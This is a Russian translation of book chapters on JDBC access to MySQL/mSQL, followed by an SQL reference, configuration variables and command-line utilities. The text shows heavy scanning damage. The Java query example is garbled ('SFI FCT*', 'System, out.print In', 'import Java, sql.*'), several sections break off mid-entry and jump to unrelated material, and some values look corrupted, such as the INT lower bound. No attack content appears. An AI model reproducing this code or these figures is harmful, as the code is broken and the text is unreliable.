    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

